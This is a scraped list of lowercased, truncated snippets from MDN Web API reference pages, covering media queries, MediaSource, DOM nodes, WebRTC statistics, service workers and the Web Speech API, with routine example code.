this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = '
this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css ...
MediaQueryListEvent.media - Web APIs
examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = '
this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = '
this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } console.log(e.media); } mql.addlistener(screentest); specifications specification status...
MediaQueryListEvent - Web APIs
examples var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the viewport is 600 pixels wide or less */ para.textcontent = '
this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = '
this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css o...
MediaRecorder: dataavailable event - Web APIs
bubbles no cancelable no interface blobevent event handler property ondataavailable for details of the all the possible reasons
this event may raise, see the documentation for the event handler property: ondataavailable.
MediaRecorder.stream - Web APIs
example if (navigator.getusermedia) { console.log('getusermedia supported.'); navigator.getusermedia ( // constraints - only audio needed for
this app { audio: true }, // success callback function(stream) { var mediarecorder = new mediarecorder(stream); var mystream = mediarecorder.stream; console.log(mystream); ...
MediaSession.metadata - Web APIs
this metadata is provided by the browser to the device for presentation in any standard media control user interface the device might offer.
MediaSource.activeSourceBuffers - Web APIs
example the following snippet is based on a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) function sourceopen (_) { //console.log(
this.readystate); // open var mediasource =
this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); console.log(mediasource.activesourcebuffers); // will contain the source buffer that was added above, // as it is selected for playing in the...
MediaSource.addSourceBuffer() - Web APIs
mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(
this.readystate); // open var mediasource =
this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specif...
MediaSource.readyState - Web APIs
vestigation.) if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(
this.readystate); // open var mediasource =
this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; specifications specif...
active - Web APIs
example in
this example, a new stream whose source is the user's local camera and microphone is requested using getusermedia().
MediaStream.clone() - Web APIs
this new mediastream object has a new unique id and contains clones of every mediastreamtrack contained by the mediastream on which clone() was called.
MediaStreamEvent.stream - Web APIs
syntax var stream = event.stream; example pc.onaddstream = function( ev ) { alert("a stream (id: '" + ev.stream.id + "') has been added to
this connection."); }; ...
MutationObserver - Web APIs
mutation observer & customize resize event listener & demo https://codepen.io/webgeeker/full/yjrzgg/ example the following example was adapted from
this blog post.
MutationRecord - Web APIs
note that for
this to work as expected, attributeoldvalue or characterdataoldvalue must be set to true in the corresponding mutationobserverinit parameter of the mutationobserver observe method specifications specification status comment domthe definition of 'mutationrecord' in that specification.
NDEFRecord.id - Web APIs
this identifier is created by the generator of the record which is solely responsible for enforcing record identifier uniqueness.
Navigator.battery - Web APIs
this interface was introduced in early drafts of the battery status api and but has been replaced with promise-based navigator.getbattery().
Navigator.deviceMemory - Web APIs
example const memory = navigator.devicememory console.log (`
this device has at least ${memory}gib of ram.`) specifications specification status comment device memory 1the definition of 'devicememory' in that specification.
Navigator.doNotTrack - Web APIs
example console.log(navigator.donottrack); // prints "1" if dnt is enabled; "0" if the user opted-in for tracking; otherwise
this is "unspecified" specifications specification status comment tracking preference expression (dnt)the definition of 'navigator.donottrack' in that specification.
Navigator.mediaCapabilities - Web APIs
examples navigator.mediacapabilities.decodinginfo({ type : 'file', audio : { contenttype : "audio/mp3", channels : 2, bitrate : 132700, samplerate : 5200 } }).then(function(result) { console.log('
this configuration is ' + (result.supported ?
Node.hasChildNodes() - Web APIs
example let foo = document.getelementbyid('foo'); if (foo.haschildnodes()) { // do something with 'foo.childnodes' } polyfill here is one possible polyfill: ;(function(prototype) { prototype.haschildnodes = prototype.haschildnodes || function() { return !!
this.firstchild; } })(node.prototype); there are various ways to determine whether the node has a child node: node.haschildnodes() node.firstchild != null (or just node.firstchild) node.childnodes && node.childnodes.length (or node.childnodes.length > 0) specifications specification status comment domthe definition of 'node: haschildnodes' in that specification.
Node.lookupPrefix() - Web APIs
due to bug 312019,
this method does not work with dynamically assigned namespaces, that is, those set with the node.prefix property.
Node.nodeType - Web APIs
ent types of nodes document.nodetype === node.document_node; // true document.doctype.nodetype === node.document_type_node; // true document.createdocumentfragment().nodetype === node.document_fragment_node; // true var p = document.createelement("p"); p.textcontent = "once upon a time…"; p.nodetype === node.element_node; // true p.firstchild.nodetype === node.text_node; // true comments
this example checks if the first node inside the document element is a comment, and displays a message if not.
Node.normalize() - Web APIs
syntax element.normalize(); example let wrapper = document.createelement("div"); wrapper.appendchild( document.createtextnode("part 1 ") ); wrapper.appendchild( document.createtextnode("part 2 ") ); // at
this point, wrapper.childnodes.length === 2 // wrapper.childnodes[0].textcontent === "part 1 " // wrapper.childnodes[1].textcontent === "part 2 " wrapper.normalize(); // now, wrapper.childnodes.length === 1 // wrapper.childnodes[0].textcontent === "part 1 part 2 " specifications specification status comment domthe definition of 'node: normalize' in that specification.
NodeIterator.filter - Web APIs
this function should return the constant nodefilter.filter_accept for cases when the node should be accepted and nodefilter.filter_reject for cases when the node should be rejected.
NodeIterator.pointerBeforeReferenceNode - Web APIs
the nodeiterator.pointerbeforereferencenode read-only property returns a boolean flag that indicates whether the nodefilter is anchored before (if
this value is true) or after (if
this value is false) the anchor node indicated by the nodeiterator.referencenode property.
NodeIterator.referenceNode - Web APIs
the nodeiterator.referencenode read-only returns the node to which the iterator is anchored; as new nodes are inserted, the iterator remains anchored to the reference node as specified by
this property.
NodeIterator.root - Web APIs
syntax root = nodeiterator.root; example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); root = nodeiterator.root; // document.body in
this case specifications specification status comment domthe definition of 'nodeiterator.root' in that specification.
NodeList.entries() - Web APIs
the nodelist.entries() method returns an iterator allowing to go through all key/value pairs contained in
this object.
NodeList.keys() - Web APIs
the nodelist.keys() method returns an iterator allowing to go through all keys contained in
this object.
OverconstrainedError - Web APIs
when
this event is thrown on a mediastreamtrack, it is muted until either the current constraints can be established or until satisfiable constraints are applied.
PageTransitionEvent - Web APIs
transitionevent" target="_top"><rect x="116" y="1" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">pagetransitionevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its parent, event.
PannerNode.positionX - Web APIs
the audioparam contained by
this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
ParentNode.append() - Web APIs
argitem : document.createtextnode(string(argitem))); });
this.appendchild(docfrag); } }); }); })([element.prototype, document.prototype, documentfragment.prototype]); specification specification status comment domthe definition of 'parentnode.append()' in that specification.
ParentNode.children - Web APIs
;(function(constructor) { if (constructor && constructor.prototype && constructor.prototype.children == null) { object.defineproperty(constructor.prototype, 'children', { get: function() { let i = 0, node, nodes =
this.childnodes, children = []; while (node = nodes[i++]) { if (node.nodetype === 1) { children.push(node); } } return children; } }); } })(window.node || window.element); specification specification status comment domthe definition of 'parentnode.children' in that specification.
ParentNode.prepend() - Web APIs
argitem : document.createtextnode(string(argitem))); });
this.insertbefore(docfrag,
this.firstchild); } }); }); })([element.prototype, document.prototype, documentfragment.prototype]); specification specification status comment domthe definition of 'parentnode.prepend()' in that specification.
PaymentAddress.languageCode - Web APIs
this is used while localizing the displayy of the address, allowing the determination of the field separators and the order of fields when formatting the address.
PaymentAddress.organization - Web APIs
this should be the name of the organization that is to receive the shipment for shipping addresses, or which is repsonsible for payment for payment addresses.
PointerEvent.pointerId - Web APIs
let id; // let's assume that
this is a previously saved pointerid target.addeventlistener('pointerdown', function(event) { // compare previous event's id that was cached // to current event's id and handle accordingly if (id === event.pointerid) process_event(event); }, false); specifications specification status comment pointer events – level 2the definition of 'pointerid' in that specificatio...
PointerEvent.pressure - Web APIs
example in
this snippet, when a pointerdown event is fired, different functions are called depending on the value of the event's pressure property.
PointerEvent.width - Web APIs
example
this example illustrates using the pointerevent interface's width and height properties to calculate the contact area.
PositionOptions - Web APIs
note that
this can result in slower response times or increased power consumption (with a gps chip on a mobile device for example).
ProgressEvent.loaded - Web APIs
when downloading a resource using http,
this only represent the part of the content itself, not headers and other overhead.
PromiseRejectionEvent.promise - Web APIs
examples
this example listens for unhandled promises and, if the reason is an object with a code field containing the text "module not ready", it sets up an idle callback that will retry the task that failed to execute correctly.
Proximity Events - Web APIs
this event can be captured at the window object level by using the addeventlistener method (using the deviceproximity or userproximity event name) or by attaching an event handler to the window.ondeviceproximity or window.onuserproximity properties.
PublicKeyCredentialCreationOptions.authenticatorSelection - Web APIs
examples var publickey = { authenticatorselection:{ authenticatorattachment: "cross-platform", requireresidentkey: true, userverification: "required" }, challenge: new uint8array(26) /*
this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { /...
RTCDataChannel: message event - Web APIs
examples for a given rtcdatachannel, dc, created for a peer connection using its createdatachannel() method,
this code sets up a handler for incoming messages and acts on them by adding the data contained within the message to the current document as a new <p> (paragraph) element.
RTCDataChannel.ordered - Web APIs
this is set when the rtcdatachannel is created, by setting the ordered property on the rtcdatachannelinit object passed as rtcpeerconnection.createdatachannel()'s options parameter.
RTCDataChannelEvent - Web APIs
constructorrtcdatachannelevent() the rtcdatachannelevent() constructor creates a new rtcdatachannelevent.propertiesalso inherits properties from: eventchannel read only the read-only property rtcdatachannelevent.channel returns the rtcdatachannel associated with the event.methods
this interface has no methods, but inherits methods from: event examples in
this example, the datachannel event handler is set up to save the data channel reference and set up handlers for the events which need to be monitored.
RTCErrorEvent - Web APIs
properties in addition to the standard properties available on the event interface, rtcerrorevent also includes the following: error read only an rtcerror object specifying the error which occurred;
this object includes the type of error that occurred, information about where the error occurred (such as which line number in the sdp or what sctp cause code was at issue).
RTCIceCandidate.relatedAddress - Web APIs
example in
this example, the candidate's type is checked, and then debugging output is presented, based on the candidate type, including the candidate's ip and relatedaddress.
RTCIceCandidate.sdpMLineIndex - Web APIs
this value is specified when creating the rtcicecandidate by setting the corresponding sdpmlineindex value in the rtcicecandidateinit object when creating a new candidate with new rtcicecandidate().
RTCIceCandidate.tcpType - Web APIs
example in
this example, the candidate's protocol and tcptype are used to adjust the user interface for simultaneous-open tcp candidates.
RTCIceCandidate.type - Web APIs
example in
this example, the candidate's type is used to present a modified user interface for host candidates (those where the ip refers directly to the remote peer, rather than an intermediary).
RTCIceCandidatePair - Web APIs
example in
this example, an event handler for selectedcandidatepairchange is set up to update an on-screen display showing the protocol used by the currently selected candidate pair.
RTCIceCandidatePairStats.firstRequestTimestamp - Web APIs
you can use
this value in combination with lastrequesttimestamp and requestssent to compute the average interval between consecutive connectivity checks: avgcheckinterval = (candidatepairstats.lastrequesttimestamp - candidatepairstats.firstrequesttimestamp) / candidatepairstats.requestssent; specifications specification status comment identifie...
RTCIceCandidatePairStats.lastRequestTimestamp - Web APIs
you can use
this value in combination with firstrequesttimestamp and requestssent to compute the average interval between consecutive connectivity checks: avgcheckinterval = (candidatepairstats.lastrequesttimestamp - candidatepairstats.firstrequesttimestamp) / candidatepairstats.requestssent; specifications specification status comment identifi...
RTCIceCandidatePairStats.packetsReceived - Web APIs
syntax packetsreceived = rtcicecandidatepairstats.packetsreceived; value an integer value indicating the total number of packets, of any kind, which have been received on the connection described by the two candidates comprising
this pair.
RTCIceCandidatePairStats.packetsSent - Web APIs
syntax packetssent = rtcicecandidatepairstats.packetssent; value an integer value indicating the total number of packets, of any kind, which have been sent on the connection described by the two candidates comprising
this pair.
RTCIceCandidatePairStats.remoteCandidateId - Web APIs
the rtcicecandidatepairstats property remotecandidateid is a string that uniquely identifies the remote ice candidate which was analyzed to generate the rtcicecandidatestats used to compute the statistics for
this pair of candidates.
RTCIceCandidatePairStats.retransmissionsReceived - Web APIs
syntax retransmissionsreceived = rtcicecandidatepairstats.retransmissionsreceived; value an integer value indicating the total number of retransmitted stun connectivity check requests have been received on the connection referenced by
this candidate pair so far.
RTCIceCandidatePairStats.retransmissionsSent - Web APIs
syntax retransmissionssent = rtcicecandidatepairstats.retransmissionssent; value an integer value indicating the total number of retransmitted stun connectivity check requests have been sent on the connection referenced by
this candidate pair so far.
RTCIceCandidatePairStats.transportId - Web APIs
syntax transportid = rtcicecandidatepairstats.transportid; value a domstring which uniquely identifies the rtcicetransport object from which the transport-related data was obtained for the statistics contained in
this rtcicecandidatepairstats object.
RTCIceCandidateStats.priority - Web APIs
andidate's component id (1 for rtp, 2 for rtcp) the candidate's priority is computed using the formula (ptype is the priority of the candidate's type and plocal is the priority of the ip address): priority = 224×ptype + 28×plocal + (256 - componentid)priority\quad =\quad { 2 }^{ 24 }\times { p }_{ type }\quad +\quad { 2 }^{ 8 }\times { p }_{ local }\quad +\quad (256\quad -\quad componentid)
this is equivalent to mapping the priorities of teh candidate type, the local ip, and the component id into various bit ranges within the 32-bit priority value.
RTCIceTransport: statechange event - Web APIs
let icetransport = pc.getsenders()[0].transport.icetransport; icetransport.addeventlistener("statechange", ev => { if (icetransport.state === "failed") { handlefailure(pc); } }, false); the same code, using the onstatechange event handler property, looks like
this: let icetransport = pc.getsenders()[0].transport.icetransport; icetransport.onstatechange = ev => { if (icetransport.state === "failed") { handlefailure(pc); } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'statechange' in that specification.
RTCInboundRtpStreamStats.fecPacketsDiscarded - Web APIs
this can happen if all the packets covered by the fec packet have already been received or recovered using another fec packet, or if the fec packet arrived outside the recovery window and the lost rtp packets have already been skipped during playback as a result.
RTCInboundRtpStreamStats.packetsFailedDecryption - Web APIs
the packetsfaileddecryption property of the rtcinboundrtpstreamstats dictionary indicates the total number of rtp packets which failed to be decrypted successfully after being received by the local end of the connection during
this session.
RTCInboundRtpStreamStats.remoteId - Web APIs
syntax var remotestatsid = rtcinboundrtpstreamstats.remoteid; value a domstring containing the id of the rtcremoteoutboundrtpstreamstats object that represents the remote peer's rtcrtpsender for the synchronization source represented by
this stats object.
RTCInboundRtpStreamStats.trackId - Web APIs
syntax var trackstatsid = rtcinboundrtpstreamstats.trackid; value a domstring containing the id of the rtcreceiveraudiotrackattachmentstats or rtcreceivervideotrackattachmentstats object representing the track which is receiving the media from
this rtp session.
RTCOutboundRtpStreamStats.nackCount - Web APIs
the nackcount property of the rtcoutboundrtpstreamstats dictionary is a numeric value indicating the number of times the rtcrtpsender described by
this object received a nack packet from the remote receiver.
RTCPeerConnection: connectionstatechange event - Web APIs
bubbles no cancelable no interface event event handler onconnectionstatechange examples for an rtcpeerconnection, pc,
this example sets up a handler for connectionstatechange messages to handle changes to the connectivity of the webrtc session.
Range.extractContents() - Web APIs
syntax documentfragment = range.extractcontents(); example basic example var range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); var documentfragment = range.extractcontents(); document.body.appendchild(documentfragment); moving items between containers
this example lets you move items between two containers.
Range.toString() - Web APIs
syntax text = range.tostring(); example html <p>
this example logs <b>everything</b> between the bold <b>words</b>.
Range - Web APIs
range.getboundingclientrect() returns a domrect object which bounds the entire contents of the range;
this would be the union of all the rectangles returned by range.getclientrects().
ReadableStreamDefaultController.close() - Web APIs
controller.enqueue(string); // show it on the screen let listitem = document.createelement('li'); listitem.textcontent = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in
this example }, cancel() { //
this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment streamsthe definition of 'close()' in that specification.
ReadableStreamDefaultController.enqueue() - Web APIs
controller.enqueue(string); // show it on the screen let listitem = document.createelement('li'); listitem.textcontent = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in
this example }, cancel() { //
this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment streamsthe definition of 'enqueue()' in that specification.
ReadableStreamDefaultController - Web APIs
controller.enqueue(string); // show it on the screen let listitem = document.createelement('li'); listitem.textcontent = string; list1.appendchild(listitem); }, 1000); button.addeventlistener('click', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in
this example }, cancel() { //
this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment streamsthe definition of 'readablestreamdefaultcontroller' in that specification.
RenderingContext - Web APIs
the primary use of
this type is the definition of the <canvas> element's htmlcanvaselement.getcontext() method, which returns a renderingcontext (meaning it returns any one of the rendering context types).
Request.cache - Web APIs
// in reality;
this would be a function that takes a path and a // reference to the controller since it would need to change the value let controller = new abortcontroller(); fetch("some.json", {cache: "only-if-cached", mode: "same-origin", signal: controller.signal}) .catch(e => e instanceof typeerror && e.message === "failed to fetch" ?
Request.destination - Web APIs
this type is much broader than the usual document type values (such as "document" or "manifest"), and may include contextual cues such as "image" or "worker" or "audioworklet".
ResizeObserver() - Web APIs
this could be used for example to automatically unobserve the observer when a certain condition is reached, but you can omit it if you don't need it.
Response() - Web APIs
this can be null (which is the default value), or one of: blob buffersource formdata readablestream urlsearchparams usvstring init optional an options object containing any custom settings that you want to apply to the response, or an empty object (which is the default value).
Response.error() - Web APIs
note:
this is mainly relevant to serviceworkers; the error method is used to return an error if you so wish it.
Response.headers - Web APIs
we then fetch
this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display
this in an <img>.
Response.ok - Web APIs
we then fetch
this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display
this in an <img>.
Response.status - Web APIs
we then fetch
this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display
this in an <img>.
Response.statusText - Web APIs
we then fetch
this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display
this in an <img>.
Response.url - Web APIs
we then fetch
this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display
this in an <img>.
SVGAnimatedString.animVal - Web APIs
syntax var = object.animval specifications specification status comment scalable vector graphics (svg) 1.1 (second edition) recommendation scalable vector graphics (svg) 2 candidate recommendation browser compatibility the compatibility table on
this page is generated from structured data.
SVGAnimatedString.baseVal - Web APIs
specifications specification status comment scalable vector graphics (svg) 1.1 (second edition) recommendation scalable vector graphics (svg) 2 candidate recommendation browser compatibility the compatibility table on
this page is generated from structured data.
SVGColorProfileElement - Web APIs
methods
this interface does not provide any specific methods, but implements those of its parent, svgelement, and implements methods of svgurireference and svgrenderingintent.
Selection API - Web APIs
browser compatibility selection the compatibility table on
this page is generated from structured data.
ServiceWorker.state - Web APIs
syntax someurl = serviceworker.state value a serviceworkerstate definition (see the spec.) examples
this code snippet is from the service worker registration-events sample (live demo).
ServiceWorkerContainer: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples in
this example the service worker get the client's id from a fetch event and then sends it a message using client.postmessage: // in the service worker async function messageclient(clientid) { const client = await clients.get(clientid); client.postmessage('hi client!'); } addeventlistener('fetch', (event) => { messageclient(event.clientid); event.respondwith(() => { // ...
ServiceWorkerContainer.ready - Web APIs
example if ('serviceworker' in navigator) { navigator.serviceworker.ready .then(function(registration) { console.log('a service worker is active:', registration.active); // at
this point, you can call methods that require an active // service worker, like registration.pushmanager.subscribe() }); } else { console.log('service workers are not supported.'); } specifications specification status comment service workersthe definition of 'serviceworkerregistration.ready' in that specification.
ServiceWorkerGlobalScope: install event - Web APIs
bubbles no cancelable no interface extendableevent event handler property serviceworkerglobalscope.oninstall examples the following snippet shows how an install event handler can be used to populate a cache with a number of responses, which the service worker can then use to serve assets offline:
this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.add( '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', ...
ServiceWorkerGlobalScope.onfetch - Web APIs
}; example
this code snippet is from the service worker prefetch sample (see prefetch example live.) the serviceworkerglobalscope.onfetch event handler listens for the fetch event.
ServiceWorkerGlobalScope: push event - Web APIs
bubbles no cancelable no interface pushevent event handler property onpush example
this example sets up a handler for push events that takes json data, parses it, and dispatches the message for handling based on information contained within the message.
SharedWorkerGlobalScope.close() - Web APIs
the close() method of the sharedworkerglobalscope interface discards any tasks queued in the sharedworkerglobalscope's event loop, effectively closing
this particular scope.
SourceBufferList - Web APIs
sourcebufferlist: indexed property getter
this getter allows the sourcebuffer objects in the list to be accessed with an array operator (i.e.
SpeechGrammar.SpeechGrammar() - Web APIs
ammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal |
thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var newgrammar = new speechgrammar(); newgrammar.src = '#jsgf v1.0; grammar names; public <name> = chris | kirsty | mike;' speechrecognitionlist[1] = newg...
SpeechGrammar.src - Web APIs
ammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal |
thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the contents of the grammar variable console.log(speechrecognitionlist[0].weight)...
SpeechGrammar.weight - Web APIs
ammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal |
thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the contents of the grammar variable console.log(speechrecognitionlist[0].weight)...
SpeechGrammar - Web APIs
ammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal |
thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the contents of the grammar variable console.log(speechrecognitionlist[0].weight)...
SpeechGrammarList.SpeechGrammarList() - Web APIs
ammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal |
thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; specifications specification status comment web speech apithe definition of 'speechgrammarlist' in that specification.
SpeechGrammarList.item() - Web APIs
ammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal |
thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var myfirstgrammar = speechrecognitionlist[0]; // var should contain the speechgrammar object created in line 4.
SpeechGrammarList.length - Web APIs
ammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal |
thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; speechrecognitionlist.length; // should return 1.
SpeechGrammarList - Web APIs
ammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal |
thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; specifications specification status comment web speech apithe definition of 'speechgrammarlist()' in that specification.
SpeechRecognition.abort() - Web APIs
ammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal |
thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); ...
SpeechRecognition: result event - Web APIs
the result event of the web speech api is fired when the speech recognition service returns a result — a word or phrase has been positively recognized and
this has been communicated back to the app bubbles no cancelable no interface speechrecognitionevent event handler property onresult examples
this code is excerpted from our speech color changer example.
SpeechRecognition.start() - Web APIs
ammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal |
thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); ...
SpeechRecognition.stop() - Web APIs
ammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal |
